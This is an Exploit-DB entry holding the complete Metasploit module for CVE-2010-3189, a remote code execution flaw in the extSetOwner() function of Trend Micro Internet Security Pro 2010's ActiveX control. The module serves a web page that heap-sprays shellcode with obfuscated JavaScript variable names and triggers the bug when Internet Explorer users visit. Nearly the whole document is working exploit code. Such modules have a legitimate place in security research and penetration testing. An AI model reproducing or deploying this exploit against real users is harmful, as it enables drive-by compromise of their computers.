标题: Trend Micro Internet Security Pro 2010 - ActiveX 'extSetOwner()' Remote Code Execution (Metasploit) EDB-ID: 15168 CVE: 2010-3189 类型: REMOTE 平台: WINDOWS 发布日期: 2010-10-01 漏洞利用脚本: ##
# $Id: trendmicro_extsetowner.rb 10538 2010-10-04 04:26:09Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

##
# trendmicro_extsetowner.rb
#
# Trend Micro Internet Security Pro 2010 ActiveX extSetOwner() Remote Code Execution exploit for the Metasploit Framework
#
# Exploit successfully tested on the following platforms:
#  - Trend Micro Internet Security Pro 2010 on Internet Explorer 7, Windows XP SP3
#  - Trend Micro Internet Security Pro 2010 on Internet Explorer 7, Windows Vista SP2
#
# UfPBCtrl.dll version tested:
# File Version: 17.50.0.1366
# ClassID: 15DBC3F9-9F0A-472E-8061-043D9CEC52F0
# RegKey Safe for Script: True
# RegKey Safe for Init: True
# KillBitSet: False
#
# References:
#  - CVE-2010-3189
#  - OSVDB 67561
#  - http://www.zerodayinitiative.com/advisories/ZDI-10-165/ - Original advisory by Andrea Micalizzi aka rgod via Zero Day Initiative
#  - http://www.exploit-db.com/exploits/14878/ - MOAUB #03 exploit
#  - http://www.exploit-db.com/trend-micro-internet-security-pro-2010-activex-extsetowner-remote-code-execution/ - MOAUB #03 binary analysis
#  - http://www.rec-sec.com/2010/09/28/trend-micro-internet-security-2010-rce-exploit/ - Metasploit exploit by Trancer, Recognize-Security
#
# Trancer
# http://www.rec-sec.com
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Trend Micro Internet Security Pro 2010 ActiveX extSetOwner() Remote Code Execution',
   'Description'    => %q{
     This module exploits a remote code execution vulnerability in Trend Micro
    Internet Security Pro 2010 ActiveX.
    When sending an invalid pointer to the extSetOwner() function of UfPBCtrl.dll
    an attacker may be able to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'Trancer <mtrancer[at]gmail.com' ],
   'Version'        => '$Revision: 10538 $',
   'References'     =>
    [
     [ 'CVE', '2010-3189' ],
     [ 'OSVDB', '67561'],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-165/' ], # Andrea Micalizzi aka rgod via Zero Day Initiative
     [ 'URL', 'http://www.exploit-db.com/exploits/14878/' ],  # MOAUB #03
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x00C750A1 } ] #??
    ],
   'DisclosureDate' => 'Aug 25 2010',
   'DefaultTarget'  => 0))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload.
  return if ((p = regenerate_payload(cli)) == nil)

  # Encode the shellcode.
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Setup exploit buffers
  nops      = Rex::Text.to_unescape(make_nops(4))
  ret     = Rex::Text.to_unescape([target.ret].pack('V'))
  blocksize = 0x40000
  fillto    = 500

  # ActiveX parameters
  clsid  = "15DBC3F9-9F0A-472E-8061-043D9CEC52F0"

  # Randomize the javascript variable names
  ufpbctrl     = rand_text_alpha(rand(100) + 1)
  j_shellcode  = rand_text_alpha(rand(100) + 1)
  j_nops       = rand_text_alpha(rand(100) + 1)
  j_ret        = rand_text_alpha(rand(100) + 1)
  j_headersize = rand_text_alpha(rand(100) + 1)
  j_slackspace = rand_text_alpha(rand(100) + 1)
  j_fillblock  = rand_text_alpha(rand(100) + 1)
  j_block      = rand_text_alpha(rand(100) + 1)
  j_memory     = rand_text_alpha(rand(100) + 1)
  j_counter    = rand_text_alpha(rand(30) + 2)

  html = %Q|<html>
<object classid='clsid:#{clsid}' id='#{ufpbctrl}'></object>
<script>
var #{j_shellcode} = unescape('#{shellcode}');
var #{j_nops} = unescape('#{nops}');
var #{j_headersize} = 20;
var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace});
var #{j_block} = #{j_nops}.substring(0,#{j_nops}.length - #{j_slackspace});
while (#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
var #{j_memory} = new Array();
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) {
 #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
}
#{ufpbctrl}.extSetOwner(unescape('#{ret}'));
</script>
</html>|

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response(cli, html, { 'Content-Type' => 'text/html' })

  # Handle the payload
  handler(cli)
 end
end URL: https://www.exploit-db.com/exploits/15168